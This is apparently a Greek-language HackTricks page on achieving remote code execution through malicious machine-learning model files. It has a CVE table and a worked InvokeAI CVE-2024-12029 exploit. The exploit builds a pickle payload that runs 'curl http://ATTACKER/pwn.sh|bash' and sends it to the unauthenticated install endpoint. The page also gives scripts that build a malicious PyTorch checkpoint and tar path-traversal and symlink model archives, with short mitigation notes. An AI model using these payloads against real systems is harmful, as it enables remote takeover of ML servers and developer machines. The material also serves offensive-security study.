Models RCE
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Loading models to RCE
Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε συστήματα παραγωγής για να χρησιμοποιηθούν. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων.
Κατά τη στιγμή της συγγραφής, αυτά είναι μερικά παραδείγματα αυτού του τύπου ευπαθειών:
Framework / Tool | Vulnerability (CVE if available) | RCE Vector | References |
---|---|---|---|
PyTorch (Python) | Insecure deserialization in torch.load (CVE-2025-32434) | Κακόβουλο pickle στο checkpoint του μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία weights_only ) | |
PyTorch TorchServe | ShellTorch – CVE-2023-43654, CVE-2022-1471 | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE μέσω Java deserialization στο API διαχείρισης | |
TensorFlow/Keras | CVE-2021-37678 (unsafe YAML) CVE-2024-3660 (Keras Lambda) | Η φόρτωση μοντέλου από YAML χρησιμοποιεί yaml.unsafe_load (εκτέλεση κώδικα) Η φόρτωση μοντέλου με Lambda layer εκτελεί αυθαίρετο Python κώδικα | |
TensorFlow (TFLite) | CVE-2022-23559 (TFLite parsing) | Ένα κατεργασμένο μοντέλο .tflite προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | |
Scikit-learn (Python) | CVE-2020-13092 (joblib/pickle) | Η φόρτωση ενός μοντέλου μέσω joblib.load εκτελεί pickle με το payload __reduce__ του επιτιθέμενου | |
NumPy (Python) | CVE-2019-6446 (unsafe np.load ) disputed | Η προεπιλεγμένη επιλογή του numpy.load επέτρεπε pickled object arrays – κακόβουλο .npy/.npz προκαλεί εκτέλεση κώδικα | |
ONNX / ONNX Runtime | CVE-2022-25882 (dir traversal) CVE-2024-5187 (tar traversal) | Η εξωτερική διαδρομή βαρών του μοντέλου ONNX μπορεί να ξεφύγει από τον κατάλογο (ανάγνωση αυθαίρετων αρχείων) Κακόβουλο μοντέλο ONNX tar μπορεί να αντικαταστήσει αυθαίρετα αρχεία (οδηγώντας σε RCE) | |
ONNX Runtime (design risk) | (No CVE) ONNX custom ops / control flow | Το μοντέλο με προσαρμοσμένο τελεστή απαιτεί φόρτωση του εγγενή κώδικα του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλου εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | |
NVIDIA Triton Server | CVE-2023-31036 (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο --model-control επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση του .bashrc για RCE) | |
GGML (GGUF format) | CVE-2024-25664 … 25668 (multiple heap overflows) | Ένα κακοσχηματισμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | |
Keras (older formats) | (No new CVE) Legacy Keras H5 model | Κακόβουλο μοντέλο HDF5 (.h5 ) με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | |
Others (general) | Design flaw – Pickle serialization | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python pickle.load ) θα εκτελέσουν αυθαίρετο κώδικα ενσωματωμένο σε αρχεία μοντέλων εκτός αν μετριαστούν |
Επιπλέον, υπάρχουν κάποια μοντέλα βασισμένα σε python pickle, όπως αυτά που χρησιμοποιούνται από PyTorch, που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα στο σύστημα αν δεν φορτωθούν με weights_only=True
. Έτσι, οποιοδήποτε μοντέλο βασισμένο σε pickle μπορεί να είναι ιδιαίτερα ευάλωτο σε αυτού του τύπου επιθέσεις, ακόμη και αν δεν αναφέρονται στον πίνακα παραπάνω.
🆕 InvokeAI RCE via torch.load
(CVE-2024-12029)
InvokeAI
είναι μια δημοφιλής ανοιχτού κώδικα διαδικτυακή διεπαφή για το Stable-Diffusion. Οι εκδόσεις 5.3.1 – 5.4.2 εκθέτουν το REST endpoint /api/v2/models/install
που επιτρέπει στους χρήστες να κατεβάζουν και να φορτώνουν μοντέλα από αυθαίρετες διευθύνσεις URL.
Εσωτερικά, το endpoint τελικά καλεί:
checkpoint = torch.load(path, map_location=torch.device("meta"))
Όταν το παρεχόμενο αρχείο είναι ένα PyTorch checkpoint (*.ckpt
), το torch.load
εκτελεί μια αποσυμπίεση pickle. Επειδή το περιεχόμενο προέρχεται απευθείας από τη διεύθυνση URL που ελέγχεται από τον χρήστη, ένας επιτιθέμενος μπορεί να ενσωματώσει ένα κακόβουλο αντικείμενο με μια προσαρμοσμένη μέθοδο __reduce__
μέσα στο checkpoint; η μέθοδος εκτελείται κατά τη διάρκεια της αποσυμπίεσης, οδηγώντας σε remote code execution (RCE) στον διακομιστή InvokeAI.
Η ευπάθεια αποδόθηκε ως CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).
Διαδικασία εκμετάλλευσης
- Δημιουργήστε ένα κακόβουλο checkpoint:
# payload_gen.py
import pickle, torch, os
class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
- Φιλοξενήστε το
payload.ckpt
σε έναν HTTP διακομιστή που ελέγχετε (π.χ.http://ATTACKER/payload.ckpt
). - Ενεργοποιήστε το ευάλωτο endpoint (δεν απαιτείται αυθεντικοποίηση):
import requests
requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt", # remote model URL
"inplace": "true", # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={}, # body can be empty
timeout=5,
)
- Όταν το InvokeAI κατεβάζει το αρχείο καλεί το
torch.load()
→ το gadgetos.system
εκτελείται και ο επιτιθέμενος αποκτά εκτέλεση κώδικα στο πλαίσιο της διαδικασίας InvokeAI.
Έτοιμο exploit: Metasploit module exploit/linux/http/invokeai_rce_cve_2024_12029
αυτοματοποιεί όλη τη ροή.
Συνθήκες
• InvokeAI 5.3.1-5.4.2 (σημαία σάρωσης προεπιλογή false)
• /api/v2/models/install
προσβάσιμο από τον επιτιθέμενο
• Η διαδικασία έχει άδειες για να εκτελεί εντολές shell
Μετριασμοί
- Αναβάθμιση σε InvokeAI ≥ 5.4.3 – το patch ορίζει
scan=True
ως προεπιλογή και εκτελεί σάρωση κακόβουλου λογισμικού πριν από την αποσειριοποίηση. - Όταν φορτώνετε checkpoints προγραμματισμένα χρησιμοποιήστε
torch.load(file, weights_only=True)
ή τον νέοtorch.load_safe
βοηθό. - Επιβάλλετε λίστες επιτρεπόμενων / υπογραφές για πηγές μοντέλων και εκτελέστε την υπηρεσία με ελάχιστα δικαιώματα.
⚠️ Θυμηθείτε ότι οποιαδήποτε μορφή βασισμένη σε Python pickle (συμπεριλαμβανομένων πολλών αρχείων
.pt
,.pkl
,.ckpt
,.pth
) είναι εγγενώς ανασφαλής για αποσειριοποίηση από μη αξιόπιστες πηγές.
Παράδειγμα ad-hoc μετριασμού αν πρέπει να διατηρήσετε παλαιότερες εκδόσεις του InvokeAI να λειτουργούν πίσω από έναν αντίστροφο διακομιστή μεσολάβησης:
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
Παράδειγμα – δημιουργία ενός κακόβουλου μοντέλου PyTorch
- Δημιουργήστε το μοντέλο:
# attacker_payload.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
- Φορτώστε το μοντέλο:
# victim_load.py
import torch
import torch.nn as nn
class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)
model = MyModel()
# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
Μοντέλα για Διαδρομή Πλοήγησης
Όπως αναφέρεται σε αυτή την ανάρτηση ιστολογίου, οι περισσότεροι μορφές μοντέλων που χρησιμοποιούνται από διάφορα AI frameworks βασίζονται σε αρχεία, συνήθως .zip
. Επομένως, μπορεί να είναι δυνατό να καταχραστείτε αυτές τις μορφές για να εκτελέσετε επιθέσεις διαδρομής πλοήγησης, επιτρέποντας την ανάγνωση αυθαίρετων αρχείων από το σύστημα όπου φορτώνεται το μοντέλο.
Για παράδειγμα, με τον παρακάτω κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργεί ένα αρχείο στον κατάλογο /tmp
όταν φορτωθεί:
import tarfile
def escape(member):
member.name = "../../tmp/hacked" # break out of the extract dir
return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
Ή, με τον παρακάτω κώδικα μπορείτε να δημιουργήσετε ένα μοντέλο που θα δημιουργεί ένα symlink στον κατάλογο /tmp
όταν φορτωθεί:
import tarfile, pathlib
TARGET = "/tmp" # where the payload will land
PAYLOAD = "abc/hacked"
def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member
with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
Βαθιά ανάλυση: Keras .keras αποσυμπίεση και αναζήτηση gadget
Για έναν εστιασμένο οδηγό σχετικά με τα εσωτερικά του .keras, RCE Lambda-layer, το ζήτημα αυθαίρετης εισαγωγής σε ≤ 3.8, και την ανακάλυψη gadget μετά την επιδιόρθωση μέσα στη λίστα επιτρεπόμενων, δείτε:
Keras Model Deserialization Rce And Gadget Hunting
Αναφορές
- OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"
- InvokeAI patch commit 756008d
- Rapid7 Metasploit module documentation
- PyTorch – security considerations for torch.load
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.